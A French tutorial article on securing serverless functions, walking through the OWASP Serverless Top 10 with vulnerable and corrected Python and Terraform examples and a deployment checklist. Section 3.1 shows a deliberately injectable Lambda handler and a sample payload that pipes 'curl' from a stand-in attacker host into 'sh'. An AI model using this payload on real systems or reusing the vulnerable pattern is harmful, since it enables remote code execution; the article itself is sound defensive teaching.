La sécurité serverless (AWS Lambda, Azure Functions, GCP Cloud Functions, Cloudflare Workers) suit un modèle distinct du sécurisation container ou VM : la responsabilité de l'OS et du runtime passe au fournisseur cloud, mais 7 nouvelles surfaces d'attaque spécifiques apparaissent — event injection depuis sources multiples (S3, SNS, SQS, API Gateway, EventBridge), IAM function-level over-permissive, secrets dans variables d'environnement, supply chain sur layers, Denial-of-Wallet (épuisement de budget cloud par flood), exfiltration via logs non-filtrés, chaînes inter-functions sans authentification. L'OWASP Serverless Security Top 10 publié en 2017 et réactualisé par l'OWASP Project reste le référentiel de base. En parallèle, la CSA Serverless Security Working Group (Cloud Security Alliance) publie depuis 2020 des guidelines complémentaires. Cet article détaille le modèle de responsabilité serverless, les 10 risques OWASP avec exemples concrets AWS/Azure/GCP, les patterns IAM least privilege function-level, la gestion des secrets (jamais en variables d'environnement), la protection Denial-of-Wallet, les bonnes pratiques runtime (timeout, memory, concurrency), l'outillage spécifique (cfn-nag, Checkov Lambda, Prowler, Cloud Custodian, Wiz serverless), et les différences architecturales entre Lambda (microVM Firecracker) et Workers (V8 isolates) qui changent certaines propriétés de sécurité. Pour la gestion des secrets en environnement serverless, voir Secrets management dans le cloud.
1. Le modèle de responsabilité partagée en serverless
Le serverless pousse le shared responsibility model AWS/Azure/GCP plus loin que les containers ou VMs. Ce qui passe côté cloud provider vs développeur :
| Couche | VM (EC2, Compute Engine) | Container (ECS, GKE) | Serverless (Lambda, Functions) |
|---|---|---|---|
| Hardware physique | Cloud provider | Cloud provider | Cloud provider |
| Hyperviseur | Cloud provider | Cloud provider | Cloud provider |
| OS | Client | Cloud provider (managed) | Cloud provider |
| Runtime (Python, Node, Java) | Client | Client (image) | Cloud provider |
| Container isolation | - | Cloud provider | Cloud provider (Firecracker) |
| Dépendances applicatives | Client | Client | Client |
| Code applicatif | Client | Client | Client |
| Permissions IAM | Client | Client | Client |
| Configuration | Client | Client | Client |
| Secrets | Client | Client | Client |
| Event sources | - | - | Client |
Gain serverless : suppression du patch management OS et runtime (~30-40 % des CVE opérationnelles). Nouveauté serverless : la surface IAM + event sources prend une importance critique, car tout est exposé par défaut via ces vecteurs.
2. Les 10 risques OWASP Serverless Top 10
L'OWASP Serverless Top 10 (SAS-01 à SAS-10, projet OWASP Serverless Top 10) catalogue les 10 risques spécifiques au modèle. Version 2021 toujours référencée en 2025 (la v2 est en draft sur GitHub) :
| ID | Risque | Commentaire 2025 |
|---|---|---|
| SAS-01 | Function Event Data Injection | Toujours critique, vecteur #1 |
| SAS-02 | Broken Authentication | Auth inter-functions souvent négligée |
| SAS-03 | Insecure Serverless Deployment Configuration | Défaut config permissif encore fréquent |
| SAS-04 | Over-Privileged Function Permissions & Roles | Top cause de lateral movement cloud |
| SAS-05 | Inadequate Function Monitoring and Logging | Gap de détection majeur |
| SAS-06 | Insecure Third-Party Dependencies | Supply chain layers + packages |
| SAS-07 | Insecure Application Secrets Storage | Variables d'environnement = anti-pattern |
| SAS-08 | Denial of Service & Financial Resource Exhaustion | DoW émergent 2023-2024 |
| SAS-09 | Serverless Business Logic Manipulation | Race conditions + workflow abuse |
| SAS-10 | Improper Exception Handling and Verbose Error Messages | Fuite métadonnées via stack traces |
Pour les vulnérabilités applicatives classiques (injection SQL, XSS, désérialisation), les principes généraux s'appliquent — voir Principes de secure coding et Désérialisation insecure.
3. SAS-01 : Function Event Data Injection
Une fonction serverless reçoit ses entrées depuis des sources d'événements multiples et hétérogènes : HTTP via API Gateway, messages SQS/SNS, événements S3, EventBridge, DynamoDB Streams, Kinesis, Cognito triggers. Chaque source a son propre format de payload et souvent un niveau de trust implicite excessif.
3.1 Exemple vulnérable Python Lambda
# ❌ Lambda qui exécute une commande à partir d'un événement SNS sans validation
import subprocess
import json
def lambda_handler(event, context):
# SNS Records array
for record in event["Records"]:
message = json.loads(record["Sns"]["Message"])
# ❌ filename provient du message SNS non vérifié
filename = message["filename"]
# ❌ Command injection trivial si filename contient "; curl evil.com"
subprocess.run(f"process-file {filename}", shell=True, check=True)
return {"statusCode": 200}Vecteur d'attaque : un attaquant ayant accès à publier sur le topic SNS (souvent exposé via une policy permissive) envoie {"filename": "legit.csv; curl -fsSL http://evil.tld/sh | sh"} et obtient RCE dans la fonction Lambda avec le rôle IAM de la fonction.
3.2 Version sécurisée
# ✅ Validation stricte + appel sans shell
import subprocess
import json
import re
from pathlib import Path
SAFE_FILENAME = re.compile(r"^[a-zA-Z0-9_\-]{1,100}\.csv$")
ALLOWED_DIR = Path("/tmp/uploads")
def lambda_handler(event, context):
for record in event["Records"]:
try:
message = json.loads(record["Sns"]["Message"])
filename = message.get("filename", "")
except (json.JSONDecodeError, KeyError) as e:
print({"event": "invalid_sns_payload", "err": str(e)})
continue
# Validation format
if not SAFE_FILENAME.match(filename):
print({"event": "invalid_filename", "filename": filename})
continue
# Path traversal prevention avec resolve()
target = (ALLOWED_DIR / filename).resolve()
if not str(target).startswith(str(ALLOWED_DIR.resolve())):
print({"event": "path_traversal_blocked", "filename": filename})
continue
# ✅ subprocess.run sans shell, arguments séparés
subprocess.run(
["process-file", str(target)],
check=True,
timeout=30,
capture_output=True,
)
return {"statusCode": 200}3.3 Sources d'événements à traiter avec suspicion
| Source | Trust par défaut | Vecteur attaque typique |
|---|---|---|
| API Gateway (public) | Faible | Injection classique via body/params |
| SNS public topic | Faible | Tout abonné peut publier |
| SQS public queue | Faible | Messages empoisonnés |
| S3 bucket event | Modéré | Upload de fichier malveillant (filename, content) |
| EventBridge (internal) | Modéré | Règle SendEvent permissive |
| DynamoDB Streams | Modéré | Data injected via autre path |
| Cognito trigger | Modéré | Inputs utilisateur dans claims JWT |
| CloudWatch Events scheduler | Fort | Rarement exploitable |
4. SAS-04 : Over-Privileged Function Permissions — le problème n°1 en pratique
Selon le Datadog State of Cloud Security 2024, 67 % des fonctions Lambda en production ont des permissions IAM non-utilisées à 80 % ou plus. Cette sur-permission est la cause n°1 de lateral movement cloud observée dans les incidents récents.
4.1 Anti-pattern fréquent Terraform
# ❌ Rôle IAM par défaut trop permissif
resource "aws_iam_role" "lambda_exec" {
name = "lambda-api-backend"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Action = "sts:AssumeRole"
Effect = "Allow"
Principal = { Service = "lambda.amazonaws.com" }
}]
})
}
# ❌ Policy générique gigantesque
resource "aws_iam_role_policy_attachment" "lambda_full_s3" {
role = aws_iam_role.lambda_exec.name
policy_arn = "arn:aws:iam::aws:policy/AmazonS3FullAccess" # Accès à TOUS les buckets
}4.2 Version correcte Terraform
# ✅ Rôle IAM par fonction
resource "aws_iam_role" "lambda_api_backend" {
name = "lambda-api-backend-${var.env}"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Action = "sts:AssumeRole"
Effect = "Allow"
Principal = { Service = "lambda.amazonaws.com" }
}]
})
}
# ✅ Policy inline ultra-ciblée
resource "aws_iam_role_policy" "lambda_api_backend_policy" {
role = aws_iam_role.lambda_api_backend.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Sid = "ReadUploadsBucket"
Effect = "Allow"
Action = ["s3:GetObject"]
Resource = ["${aws_s3_bucket.uploads.arn}/*"]
},
{
Sid = "WriteResultsBucket"
Effect = "Allow"
Action = ["s3:PutObject"]
Resource = ["${aws_s3_bucket.results.arn}/*"]
},
{
Sid = "ReadSecretDbCreds"
Effect = "Allow"
Action = ["secretsmanager:GetSecretValue"]
Resource = [aws_secretsmanager_secret.db_creds.arn]
},
{
Sid = "LogsToCloudWatch"
Effect = "Allow"
Action = [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
]
Resource = ["arn:aws:logs:${var.region}:*:log-group:/aws/lambda/lambda-api-backend-${var.env}:*"]
}
]
})
}Pattern de tuning : démarrer avec la version correcte restrictive ci-dessus, utiliser IAM Access Analyzer après 30 jours de runtime pour identifier les permissions réellement utilisées et affiner.
5. SAS-07 : Insecure Secrets Storage — variables d'environnement = anti-pattern
Les variables d'environnement Lambda sont le moyen le plus tentant mais le plus mauvais de stocker un secret. Elles sont :
- Visibles en clair dans la console AWS pour tout principal avec
lambda:GetFunctionConfiguration(permission très courante). - Présentes dans CloudTrail events lors des appels
UpdateFunctionConfiguration. - Exposées au runtime complet — un RCE les récupère via
os.environ. - Inclues dans les snapshots / backups de config.
- Chiffrées au repos uniquement avec une clé KMS par défaut AWS, mais accessibles à tout rôle avec décrypt KMS.
5.1 Pattern correct : Secrets Manager + cache in-memory
# ✅ Pattern 2025 — AWS Parameters and Secrets Lambda Extension
# Layer officiel AWS, récupération + cache intégré avec HTTP local
import os
import json
import urllib.request
SECRETS_EXTENSION_URL = "http://localhost:2773/secretsmanager/get"
SESSION_TOKEN = os.environ["AWS_SESSION_TOKEN"]
# Cache simple avec TTL 5 min
_cache: dict = {}
_cache_ttl = 300
def get_secret(secret_id: str) -> dict:
import time
cached = _cache.get(secret_id)
if cached and (time.time() - cached["ts"]) < _cache_ttl:
return cached["value"]
req = urllib.request.Request(
f"{SECRETS_EXTENSION_URL}?secretId={secret_id}",
headers={"X-Aws-Parameters-Secrets-Token": SESSION_TOKEN},
)
with urllib.request.urlopen(req, timeout=2) as resp:
data = json.loads(resp.read())
secret = json.loads(data["SecretString"])
_cache[secret_id] = {"ts": time.time(), "value": secret}
return secret
def lambda_handler(event, context):
db_creds = get_secret("prod/api-backend/db")
# ... utilisation du secret
return {"statusCode": 200}Pour la stratégie secrets complète multi-hyperscaler, voir Secrets management dans le cloud.
6. SAS-08 : Denial-of-Wallet — la DoS financière serverless
Le Denial-of-Wallet (DoW) est la variante serverless du DoS : l'attaquant ne cherche pas à faire tomber l'application, il cherche à épuiser le budget cloud via un flood d'invocations légitimes en apparence. Le gain attaquant : nuire financièrement, parfois avec extorsion associée.
6.1 Scenarios observés 2023-2024
| Scénario | Coût typique subi | Défense requise |
|---|---|---|
| API Gateway public sans auth + Lambda | 50-500 k$ en 48h | Auth + rate limiting + reserved concurrency |
| S3 bucket public avec trigger Lambda | 10-100 k$ en 24h | Retirer le public + event filter |
| SNS topic public + Lambda subscriber | 20-200 k$ en 48h | Topic policy restrictive |
| Lambda URL public sans auth | 30-300 k$ en 48h | AWS IAM auth ou désactivation |
6.2 Défenses combinées
# ✅ Reserved concurrency plafonne le cout max
resource "aws_lambda_function" "api_backend" {
function_name = "api-backend-${var.env}"
reserved_concurrent_executions = 50 # Max 50 invocations simultanées
# Au-delà, invocations throttled (erreur 429 pour synchronous)
}
# ✅ API Gateway throttling global
resource "aws_api_gateway_method_settings" "throttle" {
rest_api_id = aws_api_gateway_rest_api.api.id
stage_name = aws_api_gateway_stage.prod.stage_name
method_path = "*/*"
settings {
throttling_burst_limit = 100
throttling_rate_limit = 50 # requests/sec steady state
logging_level = "INFO"
metrics_enabled = true
}
}
# ✅ CloudWatch alarm sur facturation pour détection précoce
resource "aws_cloudwatch_metric_alarm" "billing" {
alarm_name = "billing-alarm-${var.env}"
comparison_operator = "GreaterThanThreshold"
evaluation_periods = 1
metric_name = "EstimatedCharges"
namespace = "AWS/Billing"
period = 21600 # 6h
statistic = "Maximum"
threshold = 5000 # USD
alarm_actions = [aws_sns_topic.finance_alerts.arn]
dimensions = { Currency = "USD" }
}7. Autres risques OWASP serverless en pratique
7.1 SAS-05 Inadequate Monitoring
Pattern de base Python Lambda avec logs structurés :
import json
import logging
import os
logger = logging.getLogger()
logger.setLevel(logging.INFO)
# ✅ Logs structurés JSON (exploitables par CloudWatch Logs Insights)
def log_event(event: str, **kwargs):
logger.info(json.dumps({
"event": event,
"function": os.environ.get("AWS_LAMBDA_FUNCTION_NAME"),
"request_id": kwargs.pop("request_id", None),
**kwargs,
}))
def lambda_handler(event, context):
log_event(
"lambda_invoked",
request_id=context.aws_request_id,
source=event.get("source", "unknown"),
)
try:
result = process(event)
log_event("lambda_success", request_id=context.aws_request_id)
return result
except Exception as e:
log_event(
"lambda_error",
request_id=context.aws_request_id,
error_type=type(e).__name__,
# ❌ Pas de traceback brut en prod — fuite de structure applicative
)
raise7.2 SAS-06 Insecure Dependencies
Les layers Lambda et les packages requirements.txt / package.json sont scannables avec Trivy (voir Trivy : à quoi ça sert) :
# Scan d'un répertoire Lambda avant déploiement
trivy fs --scanners vuln,secret --severity HIGH,CRITICAL ./lambda-src/
# Scan d'une layer Lambda (fichier zip)
unzip -q lambda-layer.zip -d /tmp/layer-extracted
trivy fs /tmp/layer-extracted
# Intégration CI/CD pour bloquer déploiement si CVE critique
trivy fs --severity CRITICAL --exit-code 1 ./lambda-src/7.3 SAS-10 Improper Exception Handling
# ❌ Stack trace retourné au client = fuite structure applicative
def lambda_handler(event, context):
try:
return {"statusCode": 200, "body": process(event)}
except Exception as e:
return {
"statusCode": 500,
"body": json.dumps({
"error": str(e),
"traceback": traceback.format_exc(), # ❌ fuite
}),
}
# ✅ Error handling propre avec correlation ID
def lambda_handler(event, context):
try:
return {"statusCode": 200, "body": json.dumps(process(event))}
except ValidationError as e:
log_event("validation_error", err=str(e), request_id=context.aws_request_id)
return {"statusCode": 400, "body": json.dumps({"error": "invalid_input"})}
except Exception as e:
log_event(
"unexpected_error",
err_type=type(e).__name__,
request_id=context.aws_request_id,
)
return {
"statusCode": 500,
"body": json.dumps({
"error": "internal_error",
"request_id": context.aws_request_id, # Pour le support
}),
}8. Outillage spécifique serverless 2025
| Outil | Rôle | Licence |
|---|---|---|
| Checkov | Scan Terraform / CloudFormation Lambda config | Apache 2.0 |
| cfn-nag | Scan CloudFormation spécifique | MIT |
| Prowler | Audit AWS / Azure / GCP posture incluant Lambda | Apache 2.0 |
| Cloud Custodian | Policy-as-code multi-cloud, remediation auto | Apache 2.0 |
| Trivy | Scan Lambda code + layers + dépendances | Apache 2.0 |
| IAM Access Analyzer | Génération de policies ajustées (AWS natif) | Inclus AWS |
| Datadog / Wiz serverless | CSPM serverless commercial | Commercial |
| Sqreen (Datadog RASP) | Protection runtime serverless | Commercial |
8.1 Exemple Checkov en CI/CD
# GitHub Actions — scan Terraform Lambda
name: IaC scan
on:
pull_request:
jobs:
checkov:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Checkov
uses: bridgecrewio/checkov-action@v12
with:
directory: terraform/
framework: terraform
check: CKV_AWS_50,CKV_AWS_51,CKV_AWS_115,CKV_AWS_116,CKV_AWS_173
# CKV_AWS_50: Lambda has DLQ
# CKV_AWS_51: Lambda function has tracing
# CKV_AWS_115: Lambda has reserved concurrency
# CKV_AWS_116: Lambda has DLQ target
# CKV_AWS_173: Lambda env vars encrypted with CMK
soft_fail: false9. Différences architecturales AWS Lambda vs Cloudflare Workers
| Critère | AWS Lambda | Cloudflare Workers |
|---|---|---|
| Isolation | MicroVM Firecracker | V8 isolates |
| Cold start | 100ms-2s (selon runtime) | < 5ms (V8 warm) |
| Durée max | 15 min | 30s CPU |
| Mémoire | 128 MB - 10 GB | 128 MB fixe |
| Langages | Python, Node, Java, Go, Ruby, .NET, custom | JavaScript, TypeScript, WASM |
| IAM granularité | Très fine (par function) | Service-level (Workers KV, R2) |
| Event sources | 20+ natives AWS | HTTP request, Cron, Queue, Durable Objects |
| Outillage sécurité 2025 | Mature (Prowler, Checkov, Wiz) | Émergent (moins d'outils) |
| Surface DoW | Élevée sans protection | Modérée (inclus protection Cloudflare) |
Quand choisir Workers plutôt que Lambda : edge routing, logique HTTP légère, latence critique (< 10ms), budget avec CDN inclus. Quand rester Lambda : workloads backend complexes, intégrations natives AWS étendues, runtimes non-JS nécessaires, durée d'exécution > 30s.
10. Patterns de déploiement sécurisé
10.1 Checklist avant production d'une fonction
Checklist serverless production-ready 2025
─────────────────────────────────────────────
[ ] Rôle IAM dédié, policy scoped à la fonction (< 30 lignes JSON)
[ ] Pas de variable d'environnement avec secret (Secrets Manager obligatoire)
[ ] Timeout < 30s pour HTTP synchrone (sauf cas justifié)
[ ] Memory explicitement définie (pas de 3008 MB par défaut)
[ ] Reserved concurrency ou provisioned concurrency définie
[ ] Dead Letter Queue configurée (SQS ou SNS)
[ ] VPC attachment si accès ressources internes (sinon pas de VPC, éviter cold start)
[ ] Tracing X-Ray activé
[ ] Logs structurés JSON + retention 30-90 jours
[ ] Tag mandatoires : env, app, team, cost-center, compliance
[ ] Scan Trivy + Checkov + IAM Access Analyzer en CI
[ ] Alarme CloudWatch Invocations + Errors + Duration + Throttles
[ ] Alarme facturation avec action automatique de throttle
[ ] Documentation runbook incident (qui contacter, quelle action)Points clés à retenir
- Modèle responsabilité : OS et runtime passent côté cloud, mais IAM + event sources deviennent critiques.
- OWASP Serverless Top 10 (SAS-01 à SAS-10) : référentiel de base, complété par CSA Serverless Security Working Group.
- Risque n°1 pratique : Over-Privileged Function Permissions (SAS-04). 67 % des Lambda en prod ont permissions non-utilisées à > 80 % (Datadog 2024).
- Anti-patterns : secrets en variables d'environnement, policies AmazonS3FullAccess, stack trace renvoyée au client, pas de reserved concurrency.
- Denial-of-Wallet : menace émergente 2023-2024, coût 50-500 k$ en 48h sur Lambda non plafonnée. Défenses : reserved concurrency + API Gateway throttling + WAF + Budgets Actions.
- Secrets serverless : AWS Parameters and Secrets Lambda Extension avec cache in-memory 5-15 min, pas de variables d'environnement.
- Outillage : Checkov + cfn-nag + Prowler + Trivy + IAM Access Analyzer. Commercial : Wiz serverless, Datadog ASM, Sqreen.
- Lambda vs Workers : choix architectural selon latence / durée / langages, pas uniquement sécurité.
Pour la stratégie secrets cloud complète, voir Secrets management dans le cloud. Pour l'outillage de scan en pipeline, Trivy : à quoi ça sert. Pour le positionnement cloud security global, Roadmap Cloud Security.







